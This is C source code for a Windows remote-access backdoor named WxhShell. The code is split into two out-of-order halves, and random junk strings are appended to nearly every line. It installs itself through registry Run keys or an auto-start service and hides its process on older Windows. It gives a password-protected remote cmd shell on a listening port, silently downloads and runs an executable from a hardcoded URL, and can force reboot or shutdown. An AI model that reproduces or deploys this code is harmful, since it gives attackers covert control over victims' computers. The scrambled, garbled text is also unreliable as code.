    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JX2 |  
    else { b]so9aCz  
    closesocket(wsh); % Zl_{Q]h  
    ExitThread(0); %b>y  
    } X."h Tha5  
    break; dp//p)B>  
    } psyH?&T  
  // 获取shell 0+2Matk>.  
  case 's': { YVZSKU  
    CmdShell(wsh); O w($\,  
    closesocket(wsh); g1hg`qBBW  
    ExitThread(0); of[|b{Ze4~  
    break; !cFE^VM_;  
  } x w?9W4<  
  // 退出 N8L)KgM5#7  
  case 'x': { V"2AN3~&  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); H,4,~lv|  
    CloseIt(wsh); @|\s$L  
    break; gE6y&a  
    } *NwKD:o  
  // 离开 }07<(,0n  
  case 'q': { !g8.8(/t)  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); i*cE  
    closesocket(wsh); AVevYbucB  
    WSACleanup(); 2fL88/'  
    exit(1); I8-&.RE  
    break; QLpTz"H  
        } d=+Lv<  
  } M;RnH##W  
  } -JyODW#j  
'bY|$\I  
  // 提示信息 ;ijfI  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \ \mO+N47i  
} EH!EyNNb  
  } = VX<eV  
@=zBF'<.9  
  return; }~\].I6  
} ;uA_gn!  
B,VSFpPx  
// shell模块句柄 {;z L[AgCg  
int CmdShell(SOCKET sock) h>5~ (n8  
{ B|q3;P  
STARTUPINFO si; ! ,(bXa\^  
ZeroMemory(&si,sizeof(si)); &_%+r5  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <2@<r t{  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <hF~L k ,  
PROCESS_INFORMATION ProcessInfo; n5,Pq+[  
char cmdline[]="cmd"; &<#BsFz  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Kn9=a-b?,  
  return 0; [>]VN)_J5  
} u2.r,<rC*Q  
2S10j%EeI  
// 自身启动模式 WCfe!P?g  
int StartFromService(void) Kp=3\)&  
{ $d??(   
typedef struct )i6U$,]  
{ $b 71  
  DWORD ExitStatus; . =foXN  
  DWORD PebBaseAddress; u%IKM \  
  DWORD AffinityMask; ~PAbLSL*u  
  DWORD BasePriority; !\k#{ 1[!  
  ULONG UniqueProcessId; y88}f&z#5  
  ULONG InheritedFromUniqueProcessId; :c/=fWM%  
}   PROCESS_BASIC_INFORMATION; hjp?/i%TQ  
y@8399;l  
PROCNTQSIP NtQueryInformationProcess; 9q@YE_ji  
(XIq?c1T  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; fvBC9^3  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; zl8\jP  
I(kIHjV|  
  HANDLE             hProcess; ) ImIPSL  
  PROCESS_BASIC_INFORMATION pbi; q2U"k  
R\Ynn^w  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?yM/j7Xn  
  if(NULL == hInst ) return 0; 2'^OtM,  
N4]6LA6x6  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [N$_@[  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); jvKaxB;e  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .j<B5/+  
Hr,lA(  
  if (!NtQueryInformationProcess) return 0; ZxeE6&#M^w  
?bYQZJ>&  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); gl\{QcI8<  
  if(!hProcess) return 0; d=OO(sf  
I EsD=  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; e =Tc(Mwn  
Q c< O; #  
  CloseHandle(hProcess); Pg8=  
8}`8lOE7  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); .Fz6+m;Z  
if(hProcess==NULL) return 0; *M!YQ<7G^d  
|/Q."d  
HMODULE hMod; Hf]}OvT>Z  
char procName[255]; AA%g^PWpR  
unsigned long cbNeeded; S@2Jj>3D?  
NeZYchR  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); F4{. 7BT  
7ofH@U  
  CloseHandle(hProcess); #w?%&,Kp  
 >33b@)  
if(strstr(procName,"services")) return 1; // 以服务启动 LUVJ218p  
{ rJF)\2  
  return 0; // 注册表启动 pC.P  
} R/FV'qy]  
Ytnr$*5.  
// 主模块 Us~wv"L=UX  
int StartWxhshell(LPSTR lpCmdLine) LK}eU,m=  
{ /%'7sx[p  
  SOCKET wsl; Y~ ?YA/.x  
BOOL val=TRUE; |B WK"G  
  int port=0; H9m2Whq  
  struct sockaddr_in door; MZMv.OeYt,  
@y2Bq['  
  if(wscfg.ws_autoins) Install(); >oYwzK0&  
$[;eb,  
port=atoi(lpCmdLine); \J g#X:d  
F88SV6  
if(port<=0) port=wscfg.ws_port; Pw{{+PBu R  
@%85k/(  
  WSADATA data; .{ Lm  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3'uES4+r  
Z"nuO\zH~  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   DQXx}%Px  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7Ki7N{K t  
  door.sin_family = AF_INET; m64\@ [  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); /FZ )ej\  
  door.sin_port = htons(port); U,}T ]J  
T $]L 5  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >a~FSZf  
closesocket(wsl); \V\ET  
return 1; TbM*?\7  
} `.Q3s?1F  
c`=h K*  
  if(listen(wsl,2) == INVALID_SOCKET) { 3/<^R}w\  
closesocket(wsl); J-?(sjIX  
return 1; j'b4Sb s-f  
} 4KB?g7_*  
  Wxhshell(wsl); Mo r-$a8  
  WSACleanup(); #`wfl9tj  
R.$Y1=U6  
return 0; ^Iq.0E9_  
Nxk'!:  
} .y/?~+N^  
j-\u_#kx%  
// 以NT服务方式启动 2_ DtzY:=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Q*o4zW  
{ !H.lVA  
DWORD   status = 0; SvJ8Kl OV  
  DWORD   specificError = 0xfffffff; U.jMK{  
I4ct``Di  
  serviceStatus.dwServiceType     = SERVICE_WIN32; P?ol]MwaB  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; z1A-EeT  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; v xZUtyJfe  
  serviceStatus.dwWin32ExitCode     = 0; m5g: Q  
  serviceStatus.dwServiceSpecificExitCode = 0; oK[,xqyA  
  serviceStatus.dwCheckPoint       = 0; e+aQ$1^t  
  serviceStatus.dwWaitHint       = 0; FJ. :*K[  
jH/%Z5iu  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9Dkgu ^`  
  if (hServiceStatusHandle==0) return; k(^b  
f}d@G/L  
status = GetLastError(); YH$`r6\S  
  if (status!=NO_ERROR) \dbtd hT;Z  
{ g-uFss  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ee\zU~  
    serviceStatus.dwCheckPoint       = 0; \wd`6  
    serviceStatus.dwWaitHint       = 0; f 8U;T$)  
    serviceStatus.dwWin32ExitCode     = status; j0M;2 3@[  
    serviceStatus.dwServiceSpecificExitCode = specificError; YR#1[fe*_  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0M.[) @  
    return; ZS;kCdL   
  } 8\_,Y ji  
AG=1TZI"  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; >qZRIDE5$  
  serviceStatus.dwCheckPoint       = 0; mJqP#Unik  
  serviceStatus.dwWaitHint       = 0; y[eNM6p  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Y^f|}YO%y  
} K|!)<6ZsG7  
P1jkoJ  
// 处理NT服务事件,比如:启动、停止 V!!'S h  
VOID WINAPI NTServiceHandler(DWORD fdwControl) _Y~?.hs^  
{ v:b%G?o  
switch(fdwControl) %%u4( '=  
{ LRgk9*@,  
case SERVICE_CONTROL_STOP: 94/}@<d-=  
  serviceStatus.dwWin32ExitCode = 0; --D`YmB  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; IC42O_^  
  serviceStatus.dwCheckPoint   = 0; 69L&H!<i:  
  serviceStatus.dwWaitHint     = 0; ]kvE+m&p}^  
  { '93&?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7MfvU|D[d/  
  } Jl}7]cVq#  
  return; ~=Sr0+vV  
case SERVICE_CONTROL_PAUSE: ;T(^riAEl  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 93,ExgFt  
  break; ,+{ 43;a  
case SERVICE_CONTROL_CONTINUE: N/p_6GYMa  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; v<**GW]neD  
  break; xbIA97g-O,  
case SERVICE_CONTROL_INTERROGATE: Y6Q6--P  
  break; 0eIR)#j*  
}; CQ ?|=cN  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); fW`F^G1R  
} BC+qeocg  
~A( Pa-  
// 标准应用程序主函数 ^a r9$$~/!  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -ybupUJcbv  
{ [ j_jee  
YN3uhd[2  
// 获取操作系统版本 v4zARE9#  
OsIsNt=GetOsVer(); wVB8PO8  
GetModuleFileName(NULL,ExeFile,MAX_PATH); b87d'# .  
r e2%e-F"  
  // 从命令行安装 a!.8^:B&  
  if(strpbrk(lpCmdLine,"iI")) Install(); F.9|$g*ip  
*QJ/DC$  
  // 下载执行文件 <z PyID`  
if(wscfg.ws_downexe) { FUqiP(A  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) HC$cK+,ZU}  
  WinExec(wscfg.ws_filenam,SW_HIDE); C2T,1=  
} >@o*v*25  
T9 1Iz+j  
if(!OsIsNt) { JKGZ0yn  
// 如果时win9x,隐藏进程并且设置为注册表启动 9:>vl0  
HideProc(); ~Fh(4'  
StartWxhshell(lpCmdLine); yDrJn* r^  
} 2 r)c?  
else 3]Mx,u  
  if(StartFromService()) k5/}S@F8  
  // 以服务方式启动 t!$/r]XM h  
  StartServiceCtrlDispatcher(DispatchTable); :yeTzIz]  
else ?T&D@Ohsx  
  // 普通方式启动 nNr3'6lz  
  StartWxhshell(lpCmdLine); BH1To&ol  
Kk#@8h>  
return 0; wO9<An  
} Bf.RYLsh6  
:A[/;|&  
l;fH5z  
O_q_O  
=========================================== s&l[GKR  
PsVA>Q,4!.  
mCo5 Gdt  
 u[u=:Y+  
,b8AB_yw  
\v<}{\.|$  
" R:E:Y|&#  
LxO'$oKZV  
#include <stdio.h> 0J" 3RTt  
#include <string.h> &W%TY:Da|  
#include <windows.h> _nt%&f  
#include <winsock2.h> h=aHZ6v  
#include <winsvc.h> d>}%A ]  
#include <urlmon.h> 4C$,X!kzF  
_<8y^ymo  
#pragma comment (lib, "Ws2_32.lib") >X]<s^  
#pragma comment (lib, "urlmon.lib") s?G@ k}{  
, /pE*Yk  
#define MAX_USER   100 // 最大客户端连接数 /:DxB00  
#define BUF_SOCK   200 // sock buffer b< rM3P;  
#define KEY_BUFF   255 // 输入 buffer \]D;HR`vo  
e-WaK0Ep  
#define REBOOT     0   // 重启 !}%giF$-  
#define SHUTDOWN   1   // 关机 [ kknY+n1  
Ptg73Gm&R  
#define DEF_PORT   5000 // 监听端口 K:0RP?L  
n.)-aRu[  
#define REG_LEN     16   // 注册表键长度 #r C% \  
#define SVC_LEN     80   // NT服务名长度 ?{n#j,v!  
sC$X7h(Q+  
// 从dll定义API N=kACEo  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ^s-3U  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); />?d 2?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); mMR[(  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Ce:kMkJ  
7D,+1>5^Ne  
// wxhshell配置信息 wsARH>Vz  
struct WSCFG { ;4 &~i  
  int ws_port;         // 监听端口 Mo/xEB/O  
  char ws_passstr[REG_LEN]; // 口令 ]lo O5  
  int ws_autoins;       // 安装标记, 1=yes 0=no er_aol e  
  char ws_regname[REG_LEN]; // 注册表键名 W{`;][  
  char ws_svcname[REG_LEN]; // 服务名 ;pNfdII(  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 O =fT;&%.  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 .'4*'i:  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 TF'ssD  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 5]{YERa'  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" C'Ymz`iQ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 v-kH7H"z  
~ M"[FYw[  
}; +$9w[ARN+  
}K/[3X=B  
// default Wxhshell configuration Av'H(qB\K  
struct WSCFG wscfg={DEF_PORT, 4DNZ y2`  
    "xuhuanlingzhe", I|.B-$gH  
    1, ,Ubnz  
    "Wxhshell", /xmd]XM=_  
    "Wxhshell", dZm{?\^_  
            "WxhShell Service", a8N!jQc_m  
    "Wrsky Windows CmdShell Service",  i J\#su  
    "Please Input Your Password: ", i-Z@6\/a5  
  1, D@Q|QY5qic  
  "http://www.wrsky.com/wxhshell.exe", b`2~  
  "Wxhshell.exe" pyNPdEy  
    }; c/s'&gG33z  
k`?n("j  
// 消息定义模块 5rc<ibGh  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {BJxRH"&6*  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ELm#  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; hZpFI?lqc\  
char *msg_ws_ext="\n\rExit."; []@Mk  
char *msg_ws_end="\n\rQuit."; zIL.R#|D=  
char *msg_ws_boot="\n\rReboot..."; @=9QV3D  
char *msg_ws_poff="\n\rShutdown..."; W&"FejD  
char *msg_ws_down="\n\rSave to "; f; 22viE  
WN0^hDc-  
char *msg_ws_err="\n\rErr!"; m?csake.Me  
char *msg_ws_ok="\n\rOK!"; wiutUb Y  
GVg0)}  
char ExeFile[MAX_PATH]; X9P-fF?0  
int nUser = 0; PBUc9/  
HANDLE handles[MAX_USER]; r1[0#5kJ;J  
int OsIsNt; 2]7nw1&  
!,\]> c  
SERVICE_STATUS       serviceStatus; N=wB1gJ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &W ~,q(  
g><sZqj8tt  
// 函数声明 V7&L+]!  
int Install(void); G~_dSa@g G  
int Uninstall(void); wk3yz6V2  
int DownloadFile(char *sURL, SOCKET wsh); )qKfTt N`  
int Boot(int flag); n>@(gDq  
void HideProc(void); L 0|u^J  
int GetOsVer(void); rR7}SEa  
int Wxhshell(SOCKET wsl); Di&tm1R1  
void TalkWithClient(void *cs); 2sXWeiJy;  
int CmdShell(SOCKET sock); )'qZ6%  
int StartFromService(void); s^ 6S{XJ  
int StartWxhshell(LPSTR lpCmdLine); +>s[w{Svy  
K <0ItN v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); p1Els /|  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); WUHijHo5(8  
UE(%R1Py  
// 数据结构和表定义 :+u?A  
SERVICE_TABLE_ENTRY DispatchTable[] = b&!X#3(KT  
{ $idYG<],  
{wscfg.ws_svcname, NTServiceMain}, @)1u  
{NULL, NULL} Kj'uTEM  
}; s Ce{V*ua  
HK}C<gg  
// 自我安装 M[X& Q  
int Install(void) 8&3G|m1-2  
{ i |C'_gw`n  
  char svExeFile[MAX_PATH]; @P% &Dha  
  HKEY key; wL}=$DN  
  strcpy(svExeFile,ExeFile); f#[Fqkmj  
M*t{?o/t;  
// 如果是win9x系统,修改注册表设为自启动 RhYf+?2  
if(!OsIsNt) { nlJxF5/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Fd3V5h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,l~i|_  
  RegCloseKey(key); %POoyH@D}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { t,&1~_9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]A'E61t<n  
  RegCloseKey(key); B[8  
  return 0; A_CK,S*\,&  
    } Iz VtiX  
  } c$>Tfa'H  
} G6L 'RP  
else {  aj1Zi3h  
TJ+yBMd*%  
// 如果是NT以上系统,安装为系统服务 ,%Dn}mWu  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); +Ge-!&.;A  
if (schSCManager!=0) )y._]is)b  
{ x%0Q W  
  SC_HANDLE schService = CreateService 40mgB4I  
  ( m&fm<?|  
  schSCManager, U"/":w ~  
  wscfg.ws_svcname, >8EIm  
  wscfg.ws_svcdisp, yw2sK7  
  SERVICE_ALL_ACCESS, Yf<6[(6 O  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , lLl^2[4k5  
  SERVICE_AUTO_START, ?oP<sGp  
  SERVICE_ERROR_NORMAL,  z7>  
  svExeFile, KYMz  
  NULL, SxH b76 ;  
  NULL, #p Ld';  
  NULL, Kk-A?ju@g  
  NULL, 5ILce%#zL  
  NULL LLCMp3qBz  
  ); z^@98:x  
  if (schService!=0) c?IFI   
  { v, 9MAZ,  
  CloseServiceHandle(schService); }fdo Aid~  
  CloseServiceHandle(schSCManager); L-vy,[9)[*  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); )nQA) uz  
  strcat(svExeFile,wscfg.ws_svcname); j#zUO&Q@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { P6@(nGgK<  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !Yd7&#s  
  RegCloseKey(key); 6_rS!X  
  return 0; UhXZ^ k3  
    } SCZtHEl9  
  } 83e{rcs  
  CloseServiceHandle(schSCManager); p%ek)tT  
} +O2T%  
} @LqLtr@A  
L^!E4[ ^4  
return 1; ?u/RQ 1  
} ZXlW_CGO  
-ich N/U]s  
// 自我卸载 gWL'Fl}H  
int Uninstall(void) $0=f9+@5  
{ :[A>O(  
  HKEY key; }y;s(4  
Y?ouB  
if(!OsIsNt) { #Fm,mO$v  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?%(:  
  RegDeleteValue(key,wscfg.ws_regname); #|ETH;HM  
  RegCloseKey(key); :/A3l=}iV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { EA) K"C  
  RegDeleteValue(key,wscfg.ws_regname); B=8],_  
  RegCloseKey(key); +O8rjVg)  
  return 0; oF7o"NHaWa  
  } ,* !HN &  
} S&^i*R4]  
} Xz4T_-X8d  
else { 76Ho\}-U">  
B"P-h^oiV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %a$ l%8j&  
if (schSCManager!=0) DSf  
{ sT ]JDC6  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); { )=h  
  if (schService!=0) ^M_0M  
  { A 0~uv4MC  
  if(DeleteService(schService)!=0) { AXFQd@#  
  CloseServiceHandle(schService); ^~XsHmcQ  
  CloseServiceHandle(schSCManager); cdY|z]B  
  return 0; SoC3)iqv/  
  } `\Z7It?aDs  
  CloseServiceHandle(schService); RE 6d&#N  
  } *jE> (J`  
  CloseServiceHandle(schSCManager); Hwiw:lPq`E  
}  <m7m  
} }g&A=u_2  
sbqAjm}  
return 1; Jvac|rN  
} X"lPXoCN  
0&wbGbg(W  
// 从指定url下载文件 ,sF49C D  
int DownloadFile(char *sURL, SOCKET wsh) l=4lhFG,Mk  
{ &![3{G"+>l  
  HRESULT hr; ^V,?n@c!  
char seps[]= "/"; JiH^N!  
char *token; awu18(;J  
char *file; \7]0vG  
char myURL[MAX_PATH]; 0;6eSmF  
char myFILE[MAX_PATH]; l4: B(  
J;8M. _  
strcpy(myURL,sURL); [C@ |q Ah  
  token=strtok(myURL,seps); !W2dMD/  
  while(token!=NULL) A~0eJaq+  
  { lFJDdf2:$C  
    file=token; z'"e|)  
  token=strtok(NULL,seps); Es]:-TR  
  } !:BmDX[<n  
?5VPV9EX  
GetCurrentDirectory(MAX_PATH,myFILE); ?/3'j(Gk  
strcat(myFILE, "\\"); b}<?& @  
strcat(myFILE, file); yVZLZLm  
  send(wsh,myFILE,strlen(myFILE),0); `|&#=hl~  
send(wsh,"...",3,0); 7F$G.LhMw  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 2;2FyKF(  
  if(hr==S_OK) ^?<gz!(-  
return 0; h$`zuz  
else 05SK$ Y<<  
return 1; h[*:\P`  
F .h A.E  
} v=8sj{g3,3  
tleWJR8oc  
// 系统电源模块 "@ 1+l&  
int Boot(int flag) FW=`Fm@z%%  
{ ?cur}`  
  HANDLE hToken; !a9`]c  
  TOKEN_PRIVILEGES tkp; kD*r@s]=  
.30eO_msK  
  if(OsIsNt) { 1buVV]*~  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); N1!O8"Q|*3  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^K3Bn  
    tkp.PrivilegeCount = 1; -F7P$/9  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $Sls9H+.  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); yor6h@F1  
if(flag==REBOOT) { 3%~c\naD?O  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) O n/q&h5  
  return 0; aWS_z6[t#6  
} u,~/oTg O  
else { nF1}?  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) W#Eg\nT  
  return 0; [%LIW%t|  
} 5.M82rR; ~  
  } 2e?a"Vss  
  else { T"_f9?  
if(flag==REBOOT) { JfLoGl;p m  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) i&m t-  
  return 0; Qo\+FkhYq  
} 1[:tiTG|C  
else { GtLn h~)  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *N65B#  
  return 0; r7FFZNs!  
} \DMZ M  
} c9O0YQ3&8  
ioT+,li  
return 1; wGLSei-s  
} CbW>yr  
uz;zmK  
// win9x进程隐藏模块 a 8}!9kL  
void HideProc(void) K#;EjR4H  
{ e| Sw+fhy<  
:meq4!g{1  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); #Y<QEGb(  
  if ( hKernel != NULL ) zBjbH=  
  { ?s]+2Tq  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); PblO?@~O  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;&9wG`  
    FreeLibrary(hKernel); %X -G(Z  
  } O>,Rsj!e  
FR^(1+lx&  
return; irooFR[L9  
} ]k)h<)nY  
v43FU3  
// 获取操作系统版本 (|dN6M-.K  
int GetOsVer(void) HDQH7Bs  
{ 8i~n;AhDs  
  OSVERSIONINFO winfo; #`qP7E w  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \Xpq=2`  
  GetVersionEx(&winfo); @)x8<  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) $:IEpV{  
  return 1; f#3!Q!C^  
  else m {?uR.O  
  return 0; !SAR/sdXf  
} St|B9V?eEB  
qr'P0+|~5  
// 客户端句柄模块 v=J[p;H^H  
int Wxhshell(SOCKET wsl) 1kczlTF  
{ d>hLnz1O  
  SOCKET wsh; e)#f`wM  
  struct sockaddr_in client; ^3lEfI<pBm  
  DWORD myID; !Ct'H1J-  
Bhf4 /$  
  while(nUser<MAX_USER) ^GC 8^f  
{ s)5W:`MH?  
  int nSize=sizeof(client); ueP a4e!  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); + 0 |d2_]E  
  if(wsh==INVALID_SOCKET) return 1; a&C}' e"  
?TMrnR/d  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Al^h^ 9tJ  
if(handles[nUser]==0) h e1=  
  closesocket(wsh); \(;X3h  
else 8/T,.<5  
  nUser++; l'FNp  
  } M ]uO%2  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); I%tJLdL  
:>o2UH  
  return 0; (aX6jdvo  
} xB|?}uS-  
Uu(FFd~3  
// 关闭 socket "zx4k8  
void CloseIt(SOCKET wsh) JG*Lc@Q  
{ M?.[Rr-uw  
closesocket(wsh); r8TNl@Z  
nUser--; us>$f20T  
ExitThread(0); gaVQ3NqF  
} cUD}SOW  
";*Iwd*V  
// 客户端请求句柄 'D[g{LkL  
void TalkWithClient(void *cs) CAtdx!  
{ Y N*"q'Yz_  
'w`3( ':=  
  SOCKET wsh=(SOCKET)cs; &k@r23V7r  
  char pwd[SVC_LEN]; |yYu!+U  
  char cmd[KEY_BUFF]; 2>h.K/pC  
char chr[1]; n+H);Dg<8  
int i,j; o}6d[G>  
B`/p[U5  
  while (nUser < MAX_USER) {  o\-:  
:FWo,fq?:{  
if(wscfg.ws_passstr) { Kn4x _9  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c~v(bK  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F8OE  
  //ZeroMemory(pwd,KEY_BUFF); 1zWEK]2.R  
      i=0; "FH03 9  
  while(i<SVC_LEN) { #n6<jF1G  
#9 u2LK  
  // 设置超时 !fK9YW(Im  
  fd_set FdRead; OE[N$,4I*  
  struct timeval TimeOut; MtXTh*4  
  FD_ZERO(&FdRead); xy Pz_9  
  FD_SET(wsh,&FdRead); C?fa-i0l^  
  TimeOut.tv_sec=8; xSL%1>MrN  
  TimeOut.tv_usec=0; lbnH|;`$]m  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); &'A8R;b}-?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +X4/l"|  
v|#}LQZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ika(ip#]=  
  pwd=chr[0]; !F[^?:pK  
  if(chr[0]==0xd || chr[0]==0xa) { Yxd&hr  
  pwd=0; 6R';[um?q  
  break; d'*:2;)g^  
  } (f>~+-IL  
  i++; p}9bZKyf  
    } A i5|N  
d,*#yzO  
  // 如果是非法用户,关闭 socket L_QJS2  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Av"^uevfs  
} EjFK zx  
Bv(c`JE~;  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >Qold7 M  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ln@n6*%(/  
&M2SqeR62;  
while(1) { L6f$ID:  
mIm.+U`a2  
  ZeroMemory(cmd,KEY_BUFF); hkoCbR0}8  
4.qW ~ W{  
      // 自动支持客户端 telnet标准   sJB::6+1(|  
  j=0; < (<IRCR  
  while(j<KEY_BUFF) { ]q<Zc>OC  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); tZqy \_G  
  cmd[j]=chr[0]; fLR\@f  
  if(chr[0]==0xa || chr[0]==0xd) { iz5WWn^  
  cmd[j]=0; tC4 7P[b  
  break; C">w3#M%  
  } a[A9(Ftn  
  j++; EH~XN9b  
    } -9> oB  
8}<4f|?  
  // 下载文件 {v~.zRW%]r  
  if(strstr(cmd,"http://")) { ! C|VX,w  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); |Y|gT*v  
  if(DownloadFile(cmd,wsh)) lCC(N?%Q  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |}KNtIX\G  
  else 1:VbbOu->V  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TaTs-]4  
  } )ND%MYJSq  
  else { < rqFBq 8  
"*N=aHsj  
    switch(cmd[0]) { Y1Sfhs )  
  > nOU 8  
